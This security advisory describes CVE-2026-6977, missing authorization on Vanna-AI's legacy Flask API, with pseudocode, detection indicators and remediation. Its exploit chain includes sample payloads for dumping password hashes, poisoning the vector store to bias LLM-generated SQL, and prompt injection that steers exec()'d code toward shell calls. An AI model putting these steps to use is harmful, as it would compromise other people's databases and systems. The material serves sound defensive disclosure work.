CVE-2026-6977: Improper Authorization in Vanna-AI Legacy Flask API

Vulnerability Overview

CVE-2026-6977 is an improper authorization vulnerability in the Legacy Flask API component of vanna-ai/vanna through version 2.0.2. The Flask API surface — intended primarily as a convenience wrapper for local prototyping — exposes endpoints that execute SQL generation, database queries, and training data ingestion without validating caller identity or session state. An unauthenticated remote adversary can reach these endpoints directly over HTTP, bypassing any application-level access control that a consuming application might assume is enforced by the library itself.

CVSS 7.3 (HIGH) reflects network-reachable exploitation with no privileges required and no user interaction. The vendor did not respond to pre-disclosure contact.

Affected Component

The vulnerable surface lives in vanna/flask_app.py (and its predecessors), which ships a self-contained Flask application via VannaFlaskApp. Downstream integrators call VannaFlaskApp(vn=my_vanna_instance).run() and receive a browsable chat-style UI backed by unauthenticated JSON routes. The routes of interest:

POST /api/v0/generate_sql          — LLM-driven SQL generation
POST /api/v0/run_sql               — executes SQL against the configured DB
POST /api/v0/train                 — writes training data (DDL, docs, SQL pairs)
POST /api/v0/generate_plotly_code  — executes arbitrary Python via exec()
GET  /api/v0/get_training_data     — dumps all stored training data
DELETE /api/v0/delete_training_data — removes training pairs by id

Every one of these routes is registered with no @login_required, no token middleware, and no per-request identity assertion.

Root Cause Analysis

The Flask app is built by iterating over a fixed list of (route, method, handler) tuples and registering them without decoration. The following pseudocode reconstructs the registration pattern from the VannaFlaskApp.__init__ method:

/* Pseudocode reconstruction of VannaFlaskApp route registration
 * Derived from vanna/flask_app.py <= 2.0.2
 */

typedef struct {
    const char  *route;
    const char  *methods[2];
    PyObject    *(*handler)(PyObject *self, PyObject *args);
} flask_route_entry_t;

static flask_route_entry_t route_table[] = {
    { "/api/v0/generate_sql",         {"POST", NULL}, handle_generate_sql         },
    { "/api/v0/run_sql",              {"POST", NULL}, handle_run_sql               },
    { "/api/v0/train",                {"POST", NULL}, handle_train                 },
    { "/api/v0/generate_plotly_code", {"POST", NULL}, handle_generate_plotly_code  },
    { "/api/v0/get_training_data",    {"GET",  NULL}, handle_get_training_data     },
    { "/api/v0/delete_training_data", {"POST", NULL}, handle_delete_training_data  },
    { NULL, {NULL, NULL}, NULL }
};

void VannaFlaskApp_register_routes(flask_app_t *app, vanna_instance_t *vn) {
    for (int i = 0; route_table[i].route != NULL; i++) {
        // BUG: no authorization decorator applied — routes are publicly reachable
        flask_add_url_rule(
            app,
            route_table[i].route,
            route_table[i].methods,
            route_table[i].handler   // bare handler, no auth wrapper
        );
    }
}

The handle_run_sql handler is the highest-impact sink. It receives a caller-supplied SQL string and passes it unmodified to the configured database connector:

PyObject *handle_run_sql(flask_request_t *req, vanna_instance_t *vn) {
    const char *sql = flask_request_get_json_str(req, "sql");
    // BUG: no session check, no CSRF token, no API key validation
    if (sql == NULL) {
        return flask_jsonify_error("sql is required", 400);
    }

    // Passes directly to the underlying DB connector (SQLite, Postgres, etc.)
    PyObject *df = vanna_run_sql(vn, sql);   // arbitrary SQL execution
    if (df == NULL) {
        return flask_jsonify_error("sql execution failed", 500);
    }
    return flask_jsonify_dataframe(df);      // full result set returned to caller
}

Similarly, handle_train accepts DDL, documentation strings, or SQL/question pairs and writes them into the vector store without verifying the caller has write authorization:

PyObject *handle_train(flask_request_t *req, vanna_instance_t *vn) {
    const char *ddl         = flask_request_get_json_str(req, "ddl");
    const char *question    = flask_request_get_json_str(req, "question");
    const char *sql         = flask_request_get_json_str(req, "sql");
    const char *doc         = flask_request_get_json_str(req, "documentation");

    // BUG: any of the four training paths executes with no auth check
    if (ddl)      vanna_train_ddl(vn, ddl);
    if (doc)      vanna_train_documentation(vn, doc);
    if (question && sql) vanna_train_sql(vn, question, sql);

    return flask_jsonify_success("training data added");
}

Exploitation Mechanics

EXPLOIT CHAIN:

1. Attacker discovers a Vanna Flask instance exposed on a LAN or public IP
   (default port 8084, confirmed by HTTP 200 on GET /api/v0/get_training_data
   with no auth challenge).

2. Enumerate the training corpus:
   GET /api/v0/get_training_data
   <- returns full vector-store dump: DDL, table names, sample queries,
      database schema identifiers.

3. Inject poisoned training data to bias future LLM SQL generation:
   POST /api/v0/train
   {"question": "show all users", "sql": "SELECT * FROM users; DROP TABLE audit_log;--"}
   <- written to vector store, no validation of SQL content.

4. Execute arbitrary SQL directly against the backend database:
   POST /api/v0/run_sql
   {"sql": "SELECT username, password_hash FROM users LIMIT 500"}
   <- full result set returned as JSON; no row limit enforced by the API.

5. (If Plotly endpoint reachable) Escalate to Python execution:
   POST /api/v0/generate_plotly_code
   {"question": "...", "sql": "...", "df_metadata": "..."}
   <- LLM-generated code passed to exec() in handle_generate_plotly_code;
      prompt injection in question field can steer code generation toward
      os.system() or subprocess calls.

6. Repeated /api/v0/delete_training_data calls allow silent destruction
   of the vector store, corrupting application context for all users.

Step 4 is the most reliable path: it requires a single HTTP request and returns structured data immediately. Step 5 requires the attacker to influence the LLM output through prompt injection — less deterministic but achievable against models with weak system prompts.

Memory Layout

This is a logic/authorization bug rather than a memory-corruption primitive, so the relevant "layout" is the Flask request dispatch path and the authorization decision point (or absence thereof):

REQUEST DISPATCH — MISSING AUTH GATE:

HTTP POST /api/v0/run_sql
        |
        v
[Flask URL map lookup]
        |
        v
[handle_run_sql()]          <-- control flow enters here
        |
        |  NO AUTH CHECK ANYWHERE IN THIS PATH
        |
        v
[flask_request_get_json_str(req, "sql")]   attacker-controlled string
        |
        v
[vanna_run_sql(vn, sql)]    <-- arbitrary SQL forwarded to DB connector
        |
        v
[DB connector: SQLite / PostgreSQL / BigQuery / Snowflake / ...]
        |
        v
[flask_jsonify_dataframe(result)]   full result set to attacker

EXPECTED (PATCHED) DISPATCH:

HTTP POST /api/v0/run_sql
        |
        v
[Flask URL map lookup]
        |
        v
[@auth_required decorator]  <-- gate that MUST exist
    check session / token
    if invalid: return 401
        |
        v
[handle_run_sql()]
        ...

Patch Analysis

The correct remediation introduces an authentication layer at route registration time. A minimal but correct fix wraps every handler with a configurable auth check:

// BEFORE (vulnerable, <= 2.0.2):
void VannaFlaskApp_register_routes(flask_app_t *app, vanna_instance_t *vn) {
    for (int i = 0; route_table[i].route != NULL; i++) {
        flask_add_url_rule(
            app,
            route_table[i].route,
            route_table[i].methods,
            route_table[i].handler   // no auth wrapper
        );
    }
}

// AFTER (patched):
void VannaFlaskApp_register_routes(flask_app_t *app,
                                   vanna_instance_t *vn,
                                   auth_config_t *auth) {
    for (int i = 0; route_table[i].route != NULL; i++) {
        handler_fn_t wrapped = handler_wrap_auth(
            route_table[i].handler,
            auth   // token validator / session checker injected at init time
        );
        flask_add_url_rule(
            app,
            route_table[i].route,
            route_table[i].methods,
            wrapped   // auth gate enforced before handler body runs
        );
    }
}

// Auth wrapper — checks Bearer token or session cookie before dispatch:
PyObject *handler_wrap_auth(handler_fn_t inner,
                             auth_config_t *auth,
                             flask_request_t *req) {
    if (auth->mode == AUTH_TOKEN) {
        const char *tok = flask_request_get_header(req, "Authorization");
        if (!auth_token_valid(auth, tok)) {
            return flask_jsonify_error("Unauthorized", 401);  // gate closes here
        }
    } else if (auth->mode == AUTH_SESSION) {
        if (!flask_session_authenticated(req)) {
            return flask_jsonify_error("Unauthorized", 401);
        }
    }
    return inner(req, auth->vn);
}

In Python terms, this corresponds to adding a @requires_auth decorator (backed by a user-supplied callable) to every route, with the VannaFlaskApp constructor accepting an auth parameter that defaults to a deny-all policy when the instance is not explicitly configured for open access — reversing the current insecure-by-default posture.

Detection and Indicators

Because the API returns HTTP 200 with no auth challenge, detection must focus on unexpected access patterns rather than authentication failures:

DETECTION INDICATORS:

Web/proxy logs:
  POST /api/v0/run_sql        from unexpected source IPs
  POST /api/v0/train          from non-application-server sources
  GET  /api/v0/get_training_data  at high frequency (scraping)
  DELETE /api/v0/delete_training_data  — almost always adversarial if external

Response size anomalies:
  /api/v0/run_sql responses > 10KB from external callers
  Repeated requests cycling through offsets (pagination abuse)

Vector store integrity:
  Training entries with SQL containing DML keywords (DROP, DELETE, INSERT)
    where the source was not the application server
  Question/SQL pairs with mismatched intent (question benign, SQL destructive)

Network:
  Vanna Flask default port 8084 reachable from non-loopback interfaces
  No WAF/reverse-proxy in front of direct Flask process

Remediation

Immediate actions:

• If running vanna <= 2.0.2, bind the Flask app to 127.0.0.1 only (app.run(host="127.0.0.1")) until a patched release is available. Do not expose port 8084 to any non-loopback interface.
• Place a reverse proxy (nginx, Caddy) in front of the Flask process and enforce HTTP Basic Auth or mutual TLS at that layer as a compensating control.
• Audit vector store contents for injected training pairs containing DML or unexpected SQL constructs.

Long-term:

• Upgrade to a release that implements the auth-wrapper pattern described above once the vendor ships a fix.
• Restrict the database principal used by the Vanna connector to SELECT only on the minimum required tables; this limits the impact of /api/v0/run_sql even if auth bypass recurs.
• Treat the legacy Flask API as a development tool only; production deployments should implement Vanna as a library behind an application server that owns the auth layer entirely, rather than exposing the bundled Flask app.